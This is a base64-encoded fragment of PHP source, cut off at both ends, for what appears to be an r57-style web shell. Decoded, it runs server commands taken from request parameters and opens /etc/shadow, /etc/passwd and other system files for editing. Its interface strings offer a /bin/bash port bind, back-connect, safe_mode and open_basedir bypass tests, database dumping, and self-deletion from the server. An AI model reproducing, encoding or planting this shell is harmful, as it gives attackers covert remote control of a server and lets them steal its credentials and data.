vZGl2PjwvZm9udD48L3RkPjwvdHI+JzsKICAgICAgICB9CiAgICAgIGVjaG8gJHI7CiAgICB9CiAgIGVsc2UKICAgIHsKICAgICAgZWNobyAnPHRyPjx0ZD4nLndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4gLS0tIDwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPic7CiAgICB9CiAgIGVjaG8gJzwvdGFibGU+JzsKICAgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsKICAgZGllKCk7CiB9CgppZihpc3NldCgkX0dFVFsnZG1lc2coOCknXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdkbWVzZyg4KSc7fQppZihpc3NldCgkX0dFVFsnZnJlZSddKSkKIHskX1BPU1RbJ2NtZCddID0gJ2ZyZWUnO30KaWYoaXNzZXQoJF9HRVRbJ3Ztc3RhdCddKSkKIHskX1BPU1RbJ2NtZCddID0gJ3Ztc3RhdCc7fQppZihpc3NldCgkX0dFVFsnbHNwY2knXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdsc3BjaSc7fQppZihpc3NldCgkX0dFVFsnbHNkZXYnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdsc2Rldic7fQppZihpc3NldCgkX0dFVFsncHJvY2luZm8nXSkpCiB7JF9QT1NUWydjbWQnXT0nY2F0IC9wcm9jL2NwdWluZm8nO30KaWYoaXNzZXQoJF9HRVRbJ3ZlcnNpb24nXSkpCiB7JF9QT1NUWydjbWQnXT0nY2F0IC9wcm9jL3ZlcnNpb24nO30KaWYoaXNzZXQoJF9HRVRbJ2ludGVycnVwdHMnXSkpCiB7JF9QT1NUWydjbWQnXT0nY2F0IC9wcm9jL2ludGVycnVwdHMnO30KaWYoaXNzZXQoJF9HRVRbJ3JlYWxpc2UxJ10pKQogeyRfUE9TVFsnY21kJ10gPSAnY2F0IC9ldGMvKnJlYWxpc2UnO30KaWYoaXNzZXQoJF9HRVRbJ3NlcnZpY2UnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdzZXJ2aWNlIC0tc3RhdHVzLWFsbCc7fQppZihpc3NldCgkX0dFVFsnaWZjb25maWcnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdpZmNvbmZpZyc7fQppZihpc3NldCgkX0dFVFsndyddKSkKIHskX1BPU1RbJ2NtZCddID0gJ3cnO30KaWYoaXNzZXQoJF9HRVRbJ3dobyddKSkKIHskX1BPU1RbJ2NtZCddID0gJ3dobyc7fQppZihpc3NldCgkX0dFVFsndXB0aW1lJ10pKQogeyRfUE9TVFsnY21kJ10gPSAndXB0aW1lJzt9CmlmKGlzc2V0KCRfR0VUWydsYXN0J10pKQogeyRfUE9TVFsnY21kJ10gPSAnbGFzdCAtbiAxMCc7fQppZihpc3NldCgkX0dFVFsncHNhdXgnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdwcyAtYXV4Jzt9CmlmKGlzc2V0KCRfR0VUWyduZXRzdGF0J10pKQogeyRfUE9TVFsnY21kJ10gPSAnbmV0c3RhdCAtYSc7fQppZihpc3NldCgkX0dFVFsnbHNhdHRyJ10pKQogeyRfUE9TVFsnY21kJ10gPSAnbHNhdHRyIC12YSc7fQppZihpc3NldCgkX0dFVFsnc3lzbG9nJ10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL3N5c2xvZy5jb25mJzt9CmlmKGlzc2V0KCRfR0VUWydmc3RhYiddKSkKIHskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9mc3RhYic7fQppZihpc3NldCgkX0dFVFsnZmRpc2snXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdmZGlzayAtbCc7fQppZihpc3NldCgkX0dFVFsnZGYnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdkZiAtaCc7fQppZihpc3NldCgkX0dFVFsncmVhbGlzZTInXSkpCiB7JF9QT1NUWydjbWQnXT0nZWRpdF9maWxlJzskX1BPU1RbJ2VfbmFtZSddID0gJy9ldGMvaXNzdWUubmV0Jzt9CmlmKGlzc2V0KCRfR0VUWydob3N0cyddKSkKIHskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9ob3N0cyc7fQppZihpc3NldCgkX0dFVFsncmVzb2x2J10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL3Jlc29sdi5jb25mJzt9CmlmKGlzc2V0KCRfR0VUWydzeXN0ZW1pbmZvJ10pKQogeyRfUE9TVFsnY21kJ10gPSAnc3lzdGVtaW5mbyc7fQppZihpc3NldCgkX0dFVFsnc2hhZG93J10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL3NoYWRvdyc7fQppZihpc3NldCgkX0dFVFsncGFzc3dkJ10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL3Bhc3N3ZCc7fQojaWYoaXNzZXQoJF9HRVRbJyddKSkKIyB7JF9QT1NUWydjbWQnXSA9ICcnO30KCiRsYW5nPWFycmF5KAoncnVfdGV4dDEnID0+J//++/31/f3woCD6/vzw/fTwJywKJ3J1X3RleHQyJyA9Pif//vv99f349SD6/vzw/fQg/fAguPWo8vWo9ScsCidydV90ZXh0MycgPT4n//77/fguLiD6/vzw/fQuJywKJ3J1X3RleHQ0JyA9Pie68PH+LvCgIPT4qPX6Lv6o+KAnLAoncnVfdGV4dDUnID0+J7Dw86gu9/rwIC7w+fv+8iD98CC49ajy9agnLAoncnVfdGV4dDYnID0+J7j++vD7Lv35IC7w+fsnLAoncnVfdGV4dDcnID0+J/v48LgnLAoncnVfdGV4dDgnID0+J/H1qPgu9SDw+/jwuCcsCidydV9idXR0MScgPT4n//77/fguLicsCidydV9idXR0MicgPT4nsPDzqC73+C4uJywKJ3J1X3RleHQ5JyA9Pie+LvqoLvj1IP/+qC7wIPgg/6j48qD3+vAg9fP+IPogL2Jpbi9iYXNoJywKJ3J1X3RleHQxMCc9Pie+LvqoLi4g//6oLicsCidydV90ZXh0MTEnPT4nufCo/vsuIPT7oCD0/rguLv/wJywKJ3J1X2J1dHQzJyA9Pie+LvqoLi4nLAoncnVfdGV4dDEyJz0+J2JhY2stY29ubmVjdCcsCidydV90ZXh0MTMnPT4nSVAt8PSo9bgnLAoncnVfdGV4dDE0Jz0+J7n+qC4nLAoncnVfYnV0dDQnID0+J//++/34Li4nLAoncnVfdGV4dDE1Jz0+J7Dw86gu9/rwIC7w+fv+8iC4IC708Pv1/f3+8/4guPWo8vWo8CcsCidydV90ZXh0MTYnPT4nq7j//vsu9/7y8C4uJywKJ3J1X3RleHQxNyc9Pieq9PD79f39+SAu8Pn7JywKJ3J1X3RleHQxOCc9Pie4/vrw+y79+SAu8Pn7JywKJ3J1X3RleHQxOSc9PidFeHBsb2l0cycsCidydV90ZXh0MjAnPT4nq7j//vsu9/7y8C4uJywKJ3J1X3RleHQyMSc9Pieg/vL+9SD4/KAnLAoncnVfdGV4dDIyJz0+J2RhdGFwaXBlJywKJ3J1X3RleHQyMyc9Pie4/vrw+y79+SD//qguJywKJ3J1X3RleHQyNCc9Pieq9PD79f39+SAu/rguJywKJ3J1X3RleHQyNSc9Pieq9PD79f39+SD//qguJywKJ3J1X3RleHQyNic9PieruP/++y73/vLwLi4nLAoncnVfYnV0dDUnID0+J7Dw/y64LvguLicsCidydV90ZXh0MjgnPT4nuvDx/i7wIPIgc2FmZV9tb2RlJywKJ3J1X3RleHQyOSc9Pif+uC4u/yD38P+o9fX9JywKJ3J1X2J1dHQ2JyA9Pie2/PX9+C4uJywKJ3J1X3RleHQzMCc9Pie5qP64/P4uqCAu8Pn78CcsCidydV9idXR0NycgPT4n8vW4LvgnLAoncnVfdGV4dDMxJz0+J6nw+fsg/fUg/fD59PX9JywKJ3J1X3RleHQzMic9Pif//vv99f349SBQSFAg+v708CcsCidydV90ZXh0MzMnPT4nuaj+8vWo+vAg8v73/P72/f64Lvgg/vEu/vTwIP7zqPD9+C71/fj5IG9wZW5fYmFzZWRpciAu9aj19yAuLv36Lvj4IGNVUkwgKFBIUCA8PSA0LjQuMiwgNS4xLjQpJywKJ3J1X2J1dHQ4JyA9Pie5qP7y9aj4Li4nLAoncnVfdGV4dDM0Jz0+J7mo/vL1qPrwIPL+9/z+9v3+uC74IP7xLv708CD+86jw/fgu9f34+SBzYWZlX21vZGUgLvWo9fcgLi79+i74IGluY2x1ZGUnLAoncnVfdGV4dDM1Jz0+J7mo/vL1qPrwIPL+9/z+9v3+uC74IP7xLv708CD+86jw/fgu9f34+SBzYWZlX21vZGUgLvWo9fcg9/DzqC73+i4gLvD5+/Ag8iBteXNxbCcsCidydV90ZXh0MzYnPT4n8PfwIC4gt/Dx+/gu8CcsCidydV90ZXh0MzcnPT4nuP7z+P0nLAoncnVfdGV4dDM4Jz0+J7nwqP77LicsCidydV90ZXh0MzknPT4n8PfwJywKJ3J1X3RleHQ0MCc9Pifw/P8gLvDx+/guIPHw9yD08P39LicsCidydV9idXR0OScgPT4n8Pz/JywKJ3J1X3RleHQ0MSc9Pie2/i6o8P34Li4g8iAu8Pn79ScsCidydV90ZXh0NDInPT4nuvX08Pou+Kj+8vD9+PUgLvD5+/AnLAoncnVfdGV4dDQzJz0+J7r19PD6Lvio/vLwLi4gLvD5+ycsCidydV9idXR0MTAnPT4ntv4uqPD9+C4uJywKJ3J1X2J1dHQxMSc9Pie69fTw+i74qP7y8C4uJywKJ3J1X3RleHQ0NCc9Pie69fTw+i74qP7y8P349SAu8Pn78CD99fL+9/z+9v3+ISD+uC4u/yAu/vsu+v4g9PugIC4u9f34oCEnLAoncnVfdGV4dDQ1Jz0+J6nw+fsguP4uqPD99f0nLAoncnVfdGV4dDQ2Jz0+J7mo/rj8/i6oIHBocGluZm8oKScsCidydV90ZXh0NDcnPT4nuaj+uPz+Lqgg/fC4Lqj+9fogcGhwLmluaScsCidydV90ZXh0NDgnPT4nqvTw+/X9+PUg8qj1/PX9/S4gLvD5+/7yJywKJ3J1X3RleHQ0OSc9Pieq9PD79f349SC4+qj4/y7wILgguPWo8vWo8CcsCidydV90ZXh0NTAnPT4nq/0u/qj88C74oCD+IP+o/i71uLj+qPUnLAoncnVfdGV4dDUxJz0+J6v9Lv6o/PAu+KAg/iD/8PygLvgnLAoncnVfdGV4dDUyJz0+J7f1+rguIPT7oCD//vi4+vAnLAoncnVfdGV4dDUzJz0+J6u4+vAuLiDyIP/w//r1JywKJ3J1X3RleHQ1NCc9Pie5/vi4+iAu9fq4LvAg8iAu8Pn78C4nLAoncnVfYnV0dDEyJz0+J6Dw+S74JywKJ3J1X3RleHQ1NSc9Pie3/vsu+v4g8iAu8Pn78C4nLAoncnVfdGV4dDU2Jz0+J6D4LvXz/iD99SD98Pn09f3+JywKJ3J1X3RleHQ1Nyc9Pie2/vf08C4uL6r08Pv4Li4gqfD5+y/4qPX6Lv6o+CcsCidydV90ZXh0NTgnPT4nq/ygJywKJ3J1X3RleHQ1OSc9Piep8Pn7JywKJ3J1X3RleHQ2MCc9Pif4qPX6Lv6o+CcsCidydV9idXR0MTMnPT4ntv739PAuLi+q9PD7+C4uJywKJ3J1X3RleHQ2MSc9Piep8Pn7ILj+9/Tw/ScsCidydV90ZXh0NjInPT4n+Kj1+i7+qPigILj+9/Tw/fAnLAoncnVfdGV4dDYzJz0+J6nw+fsgLvTw+/X9JywKJ3J1X3RleHQ2NCc9Pif4qPX6Lv6o+KAgLvTw+/X98CcsCidydV90ZXh0NjUnPT4ntv739PAuLicsCidydV90ZXh0NjYnPT4nqvTw+/guLicsCidydV90ZXh0NjcnPT4nQ2hvd24vQ2hncnAvQ2htb2QnLAoncnVfdGV4dDY4Jz0+J7v+/PD99PAnLAoncnVfdGV4dDY5Jz0+J7nwqPD89S6oMScsCidydV90ZXh0NzAnPT4nufCo8Pz1LqgyJywKJ3J1X3RleHQ3MSc9PiIu/qj++SD/8Kjw/PUuqCD6/vzw/fQ6XHJcbi0g9PugIENIT1dOIC0g+PygIP3+8v7z/iD//vsu9/7y8C71+6Ag+Pv4IPXz/iBVSUQgKC74uPv+/CkgXHJcbi0g9PugIPr+/PD99CBDSEdSUCAtIPj8oCDzqC7//yD4+/ggR0lEICgu+Lj7/vwpIFxyXG4tIPT7oCD6/vzw/fQgQ0hNT0QgLSAu9fv+9SAu+Lj7/iDyIPL+uC789aj4Lv3+/CD/qPX0uC7w8vv1/fj4ICj98P+o+Pz1qCAwNzc3KSIsCidydV90ZXh0NzInPT4nt/X6uC4g9PugIP/++Lj68CcsCidydV90ZXh0NzMnPT4nq7j68C4uIPIg//D/+vUnLAoncnVfdGV4dDc0Jz0+J6u4+vAuLiDyIC7w+fvwLicsCidydV90ZXh0NzUnPT4nKiD8/vb9/iD4uP/++y73/vLwLi4gqPXzLvugqP3+9SDyqPD29f349ScsCidydV90ZXh0NzYnPT4nuf74uPogLvX6uC7wIPIgLvD5+/AuILgg//78/i4gLi74+/guIGZpbmQnLAoncnVfdGV4dDgwJz0+J7f4/ycsCidydV90ZXh0ODEnPT4ntvUuLicsCidydV90ZXh0ODInPT4n8Pcg9PD9/S4nLAoncnVfdGV4dDgzJz0+J//++/31/fj1IFNRTCD38P+o/rjwJywKJ3J1X3RleHQ4NCc9PidTUUwg9/D/qP64JywKJ3J1X3RleHQ4NSc9Pie5qP7y9aj68CDy/vf8/vb9/rgu+CD+8S7+9PAg/vOo8P34LvX9+Pkgc2FmZV9tb2RlIC71qPX3IPL//vv99f349SD6/vzw/fQg8iBNU1NRTCC49ajy9aj1JywKJ3J1X3RleHQ4Nic9Pie2+vAu+PLw/fj1IC7w+fvwILgguPWo8vWo8CcsCidydV9idXR0MTQnPT4ntvrwLvAuLicsCidydV90ZXh0ODcnPT4ntvrwLvjy8P349SAu8Pn7/vIguCAu9PD79f39/vP+IGZ0cC249ajy9ajwJywKJ3J1X3RleHQ4OCc9Pie49ajy9ag6//6oLicsCidydV90ZXh0ODknPT4nqfD5+yD98CBmdHAguPWo8vWo9ScsCidydV90ZXh0OTAnPT4nuvX2+Pwg//Wo9fTwLvgnLAoncnVfdGV4dDkxJz0+J6gu+PL4qP7y8C4uIPInLAoncnVfdGV4dDkyJz0+J/H19yDwqC748i4nLAoncnVfdGV4dDkzJz0+J0ZUUCcsCidydV90ZXh0OTQnPT4nRlRQLfGoLi4u/qi4JywKJ3J1X3RleHQ5NSc9Pie2//i4/vog//77Lvf+8vAu9fv1+ScsCidydV90ZXh0OTYnPT4noPUgLvTw+/64LiD//vsuLvguLiC4//i4/vog//77Lvf+8vAu9fv1+ScsCidydV90ZXh0OTcnPT4nuaj+8vWo9f3+IPr+/PH4/fAu+Pk6ICcsCidydV90ZXh0OTgnPT4nqvTwLv0uIP/+9Pr7LvX9+Pk6ICcsCidydV90ZXh0OTknPT4nL2V0Yy9wYXNzd2QnLAoncnVfdGV4dDEwMCc9Pie+Lv+o8PL68CAu8Pn7/vIg/fAgLvTw+/X9/fkgLi7/ILj1qPL1qCcsCidydV90ZXh0MTAxJz0+J//1qPXy9aj9Li7+9SAodXNlciAtPiByZXN1KScsCidydV90ZXh0MTAyJz0+J7n+Li7wJywKJ3J1X3RleHQxMDMnPT4nvi7/qPDy+vAg//i4LvzwJywKJ3J1X3RleHQxMDQnPT4nvi7/qPDy+vAgLvD5+/Ag/fAg//4uLv7y+SCg+PonLAoncnVfdGV4dDEwNSc9Pie7/vwuJywKJ3J1X3RleHQxMDYnPT4nvi4nLAoncnVfdGV4dDEwNyc9Pie39fzwJywKJ3J1X2J1dHQxNSc9Pie+Lv+o8PL4Li4nLAoncnVfdGV4dDEwOCc9Pie39fq4LiD/+Lgu/PAnLAoncnVfdGV4dDEwOSc9Pie28vWo/S4uLicsCidydV90ZXh0MTEwJz0+J7rw9/L1qP0uLi4nLAoncnVfdGV4dDExMSc9PidTUUwttvWo8vWoIDog//6oLicsCidydV90ZXh0MTEyJz0+J7mo/vL1qPrwIPL+9/z+9v3+uC74IP7xLv708CD+86jw/fgu9f34+SBzYWZlX21vZGUgLvWo9fcg+Lj//vsu9/7y8P349SAuLv36Lvj4IG1iX3NlbmRfbWFpbCAoUEhQIDw9IDQuMC00LjIuMiwgNS54KScsCidydV90ZXh0MTEzJz0+J7mo/vL1qPrwIPL+9/z+9v3+uC74IP7xLv708CD+86jw/fgu9f34+SBzYWZlX21vZGUsIP+o/rj8/i6oIPv4uC74/fPwIPT4qPX6Lv6o+PkguCD4uP/++y73/vLw/fj1/CBpbWFwX2xpc3QgKFBIUCA8PSA1LjEuMiknLAoncnVfdGV4dDExNCc9Pie5qP7y9aj68CDy/vf8/vb9/rgu+CD+8S7+9PAg/vOo8P34LvX9+Pkgc2FmZV9tb2RlLCD/qP64/P4uqCC4/vT1qPb4/P7z/iAu8Pn78CC4IPi4//77Lvf+8vD9+PX8IGltYXBfYm9keSAoUEhQIDw9IDUuMS4yKScsCidydV90ZXh0MTE1Jz0+J7mo/vL1qPrwIPL+9/z+9v3+uC74IP7xLv708CD+86jw/fgu9f34+SBzYWZlX21vZGUsIPr+//io/vLw/fj1IC7w+fv+8iC4IFtjb21wcmVzcy56bGliOi8vXSAoUEhQIDw9IDQuNC4yLCA1LjEuMiknLAoncnVfdGV4dDExNic9Pie7/v/4qP7y8C4uIC7w+fsnLAoncnVfdGV4dDExNyc9PifyJywKJ3J1X3RleHQxMTgnPT4nqfD5+yC4+v7/+Kj+8vD9JywKJ3J1X3RleHQxMTknPT4noPUgLvTw+/64LiC4+v7/+Kj+8vAuLiAu8Pn7JywKJ3J1X3RleHQxMjAnPT4nuaj+8vWo+vAg8v73/P72/f64Lvgg/vEu/vTwIP7zqPD9+C71/fj5IHNhZmVfbW9kZSwg/6j+uPz+LqgguP709aj2+Pz+8/4gLvD5+/AguCD4uP/++y73/vLw/fj1/CBpbmlfcmVzdG9yZSAoUEhQIDw9IDQuNC40LCA1LjEuNikgYnkgTlNUJywKJ3J1X3RleHQxMjEnPT4nuaj+8vWo+vAg8v73/P72/f64Lvgg/vEu/vTwIP7zqPD9+C71/fj5IG9wZW5fYmFzZWRpciwg/6j+uPz+Lqgg+/i4Lvj98/Ag9Pio9fou/qj4+SC4IPi4//77Lvf+8vD9+PX8IGZvcGVuIChQSFAgdjQuNC4wIG1lbW9yeSBsZWFrKSBieSBOU1QnLAoncnVfdGV4dDEyMic9Pie5qP7y9aj68CDy/vf8/vb9/rgu+CD+8S7+9PAg/vOo8P34LvX9+Pkgb3Blbl9iYXNlZGlyLCD/qP64/P4uqCD7+Lgu+P3z8CD0+Kj1+i7+qPj5ILgg+Lj//vsu9/7y8P349fwgZ2xvYiAoUEhQIDw9IDUuMi54KScsCidydV90ZXh0MTIzJz0+J7mo/vL1qPrwIPL+9/z+9v3+uC74IP7xLv708CD+86jw/fgu9f34+SBvcGVuX2Jhc2VkaXIsIC4u9f349SAqLmJ6aXAg8Kgu+PLwIFtjb21wcmVzcy5iemlwMjovL10gKFBIUCA8PSA1LjIuMSknLAoncnVfdGV4dDEyNCc9Pie5qP7y9aj68CDy/vf8/vb9/rgu+CD+8S7+9PAg/vOo8P34LvX9+Pkgb3Blbl9iYXNlZGlyLCD0/vfw//i4LiAu8Pn7/vIguCBlcnJvcl9sb2dbcGhwOi8vXSAoUEhQIDw9IDUuMS40LCA0LjQuMiknLAoncnVfdGV4dDEyNSc9Pifw/f31JywKJ3J1X3RleHQxMjYnPT4nuaj+8vWo+vAg8v73/P72/f64Lvgg/vEu/vTwIP7zqPD9+C71/fj5IG9wZW5fYmFzZWRpciwguP739PD9+PUgLvD5+/AguPW4uPj4ILgg9PD9/fz4W05VTEwtYnl0ZV0gKFBIUCA8PSA1LjIuMCknLAoncnVfdGV4dDEyNyc9Pie5qP7y9aj68CDy/vf8/vb9/rgu+CD+8S7+9PAg/vOo8P34LvX9+Pkgb3Blbl9iYXNlZGlyLCD0/vfw//i4LiAu8Pn7/vIguCByZWFkZmlsZVtwaHA6Ly9dIChQSFAgPD0gNS4yLjEsIDQuNC40KScsCidydV90ZXh0MTI4Jz0+J/Au8CD49/z1/fX9+KBc9P64Li7/8Ch0b3VjaCknLAoncnVfdGV4dDEyOSc9Pie5qP7y9aj68CDy/vf8/vb9/rgu+CD+8S7+9PAg/vOo8P34LvX9+Pkgb3Blbl9iYXNlZGlyLCC4/vf08P349SAu8Pn78CC4IGZvcGVuW3NycGF0aDovL10gKFBIUCB2NS4yLjApJywKJ3J1X3RleHQxMzAnPT4nuaj+8vWo+vAg8v73/P72/f64Lvgg/vEu/vTwIP7zqPD9+C71/fj5IG9wZW5fYmFzZWRpciwgLi71/fj1ICouemlwIPCoLvjy8CBbemlwOi8vXSAoUEhQIDw9IDUuMi4xKScsCidydV90ZXh0MTMxJz0+J7mo/vL1qPrwIPL+9/z+9v3+uC74IP7xLv708CD+86jw/fgu9f34+SBvcGVuX2Jhc2VkaXIsIP+o/rj8/i6oILj+9PWo9vj8/vP+IC7w+fvwILgg+Lj//vsu9/7y8P349fwgc3ltbGluaygpIChQSFAgPD0gNS4yLjEpJywKJ3J1X3RleHQxMzInPT4nuaj+8vWo+vAg8v73/P72/f64Lvgg/vEu/vTwIP7zqPD9+C71/fj5IG9wZW5fYmFzZWRpciwg/6j+uPz+Lqgg+/i4Lvj98/Ag9Pio9fou/qj4+SC4IPi4//77Lvf+8vD9+PX8IHN5bWxpbmsoKSAoUEhQIDw9IDUuMi4xKScsCidydV90ZXh0MTMzJz0+JycsCidydV90ZXh0MTM0Jz0+J6guLi7+qLgg8fD3IPTw/f0uJywKJ3J1X3RleHQxMzUnPT4ntvv+8vCoLicsCidydV90ZXh0MTM2Jz0+J7b+9/Tw/fj1ILj4/PL++y79/vkguLj7+vgnLAoncnVfdGV4dDEzNyc9Pie5/vv19/3+9ScsCidydV90ZXh0MTM4Jz0+J77/8Lj9/vUnLAoncnVfdGV4dDEzOSc9Piex8Pj7LfH+/PH1qCcsCidydV90ZXh0MTQwJz0+J0RvUycsCidydV90ZXh0MTQxJz0+J764Lv6o/vb9/iEg/vf8/vb1/SD6qPAuIPXxLbj1qPL4uPAuJywKJ3J1X2VycjAnPT4nvrD48frwISCg9SD8/vMuIPfw//i48C4uIPIgLvD5+yAnLAoncnVfZXJyMSc9Pie+sPjx+vAhIKD1IPz+8y4g/6j+Lvgu8C4uIC7w+fsgJywKJ3J1X2VycjInPT4nvrD48frwISCg9SAu9PD7/rguILj+9/TwLi4gJywKJ3J1X2VycjMnPT4nvrD48frwISCg9SAu9PD7/rguIP/+9Pr7LvguLrigIPogZnRwILj1qPL1qC4nLAoncnVfZXJyNCc9Pie+sPjx+vAg8PIu/qj49/Au+Pgg/fAgZnRwILj1qPL1qPUnLAoncnVfZXJyNSc9Pie+sPjx+vAhIKD1IC708Pv+uC4g//789f2gLi4g9Pio9fou/qj4IP3wIGZ0cCC49ajy9aj1JywKJ3J1X2VycjYnPT4nvrD48frwISCg9SAu9PD7/rguIP4u/6jw8vguLiD/+Lgu/P4nLAoncnVfZXJyNyc9Pie5+Lgu/P4g/i7/qPDy+/X9/icsCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLwonZW5nX3RleHQxJyA9PidFeGVjdXRlZCBjb21tYW5kJywKJ2VuZ190ZXh0MicgPT4nRXhlY3V0ZSBjb21tYW5kIG9uIHNlcnZlcicsCidlbmdfdGV4dDMnID0+J1J1biBjb21tYW5kJywKJ2VuZ190ZXh0NCcgPT4nV29yayBkaXJlY3RvcnknLAonZW5nX3RleHQ1JyA9PidVcGxvYWQgZmlsZXMgb24gc2VydmVyJywKJ2VuZ190ZXh0NicgPT4nTG9jYWwgZmlsZScsCidlbmdfdGV4dDcnID0+J0FsaWFzZXMnLAonZW5nX3RleHQ4JyA9PidTZWxlY3QgYWxpYXMnLAonZW5nX2J1dHQxJyA9PidFeGVjdXRlJywKJ2VuZ19idXR0MicgPT4nVXBsb2FkJywKJ2VuZ190ZXh0OScgPT4nQmluZCBwb3J0IHRvIC9iaW4vYmFzaCcsCidlbmdfdGV4dDEwJz0+J1BvcnQnLAonZW5nX3RleHQxMSc9PidQYXNzd29yZCBmb3IgYWNjZXNzJywKJ2VuZ19idXR0MycgPT4nQmluZCcsCidlbmdfdGV4dDEyJz0+J2JhY2stY29ubmVjdCcsCidlbmdfdGV4dDEzJz0+J0lQJywKJ2VuZ190ZXh0MTQnPT4nUG9ydCcsCidlbmdfYnV0dDQnID0+J0Nvbm5lY3QnLAonZW5nX3RleHQxNSc9PidVcGxvYWQgZmlsZXMgZnJvbSByZW1vdGUgc2VydmVyJywKJ2VuZ190ZXh0MTYnPT4nV2l0aCcsCidlbmdfdGV4dDE3Jz0+J1JlbW90ZSBmaWxlJywKJ2VuZ190ZXh0MTgnPT4nTG9jYWwgZmlsZScsCidlbmdfdGV4dDE5Jz0+J0V4cGxvaXRzJywKJ2VuZ190ZXh0MjAnPT4nVXNlJywKJ2VuZ190ZXh0MjEnPT4nJm5ic3A7TmV3IG5hbWUnLAonZW5nX3RleHQyMic9PidkYXRhcGlwZScsCidlbmdfdGV4dDIzJz0+J0xvY2FsIHBvcnQnLAonZW5nX3RleHQyNCc9PidSZW1vdGUgaG9zdCcsCidlbmdfdGV4dDI1Jz0+J1JlbW90ZSBwb3J0JywKJ2VuZ190ZXh0MjYnPT4nVXNlJywKJ2VuZ19idXR0NScgPT4nUnVuJywKJ2VuZ190ZXh0MjgnPT4nV29yayBpbiBzYWZlX21vZGUnLAonZW5nX3RleHQyOSc9PidBQ0NFU1MgREVOSUVEJywKJ2VuZ19idXR0NicgPT4nQ2hhbmdlJywKJ2VuZ190ZXh0MzAnPT4nQ2F0IGZpbGUnLAonZW5nX2J1dHQ3JyA9PidTaG93JywKJ2VuZ190ZXh0MzEnPT4nRmlsZSBub3QgZm91bmQnLAonZW5nX3RleHQzMic9PidFdmFsIFBIUCBjb2RlJywKJ2VuZ190ZXh0MzMnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyIHdpdGggY1VSTCBmdW5jdGlvbnMoUEhQIDw9IDQuNC4yLCA1LjEuNCknLAonZW5nX2J1dHQ4JyA9PidUZXN0JywKJ2VuZ190ZXh0MzQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggaW5jbHVkZSBmdW5jdGlvbicsCidlbmdfdGV4dDM1Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGxvYWQgZmlsZSBpbiBteXNxbCcsCidlbmdfdGV4dDM2Jz0+J0RhdGFiYXNlIC4gVGFibGUnLAonZW5nX3RleHQzNyc9PidMb2dpbicsCidlbmdfdGV4dDM4Jz0+J1Bhc3N3b3JkJywKJ2VuZ190ZXh0MzknPT4nRGF0YWJhc2UnLAonZW5nX3RleHQ0MCc9PidEdW1wIGRhdGFiYXNlIHRhYmxlJywKJ2VuZ19idXR0OScgPT4nRHVtcCcsCidlbmdfdGV4dDQxJz0+J1NhdmUgZHVtcCBpbiBmaWxlJywKJ2VuZ190ZXh0NDInPT4nRWRpdCBmaWxlcycsCidlbmdfdGV4dDQzJz0+J0ZpbGUgZm9yIGVkaXQnLAonZW5nX2J1dHQxMCc9PidTYXZlJywKJ2VuZ190ZXh0NDQnPT4nQ2FuXCd0IGVkaXQgZmlsZSEgT25seSByZWFkIGFjY2VzcyEnLAonZW5nX3RleHQ0NSc9PidGaWxlIHNhdmVkJywKJ2VuZ190ZXh0NDYnPT4nU2hvdyBwaHBpbmZvKCknLAonZW5nX3RleHQ0Nyc9PidTaG93IHZhcmlhYmxlcyBmcm9tIHBocC5pbmknLAonZW5nX3RleHQ0OCc9PidEZWxldGUgdGVtcCBmaWxlcycsCidlbmdfYnV0dDExJz0+J0VkaXQgZmlsZScsCidlbmdfdGV4dDQ5Jz0+J0RlbGV0ZSBzY3JpcHQgZnJvbSBzZXJ2ZXInLAonZW5nX3RleHQ1MCc9PidWaWV3IGNwdSBpbmZvJywKJ2VuZ190ZXh0NTEnPT4nVmlldyBtZW1vcnkgaW5mbycsCidlbmdfdGV4dDUyJz0+J0ZpbmQgdGV4dCcsCidlbmdfdGV4dDUzJz0+J0luIGRpcnMnLAonZW5nX3RleHQ1NCc9PidGaW5kIHRleHQgaW4gZmlsZXMnLAonZW5nX2J1dHQxMic9PidGaW5kJywKJ2VuZ190ZXh0NTUnPT4nT25seSBpbiBmaWxlcycsCidlbmdfdGV4dDU2Jz0+J05vdGhpbmcgOignLAonZW5nX3RleHQ1Nyc9PidDcmVhdGUvRGVsZXRlIEZpbGUvRGlyJywKJ2VuZ190ZXh0NTgnPT4nbmFtZScsCidlbmdfdGV4dDU5Jz0+J2ZpbGUnLAonZW5nX3RleHQ2MCc9PidkaXInLAonZW5nX2J1dHQxMyc9PidDcmVhdGUvRGVsZXRlJywKJ2VuZ190ZXh0NjEnPT4nRmlsZSBjcmVhdGVkJywKJ2VuZ190ZXh0NjInPT4nRGlyIGNyZWF0ZWQnLA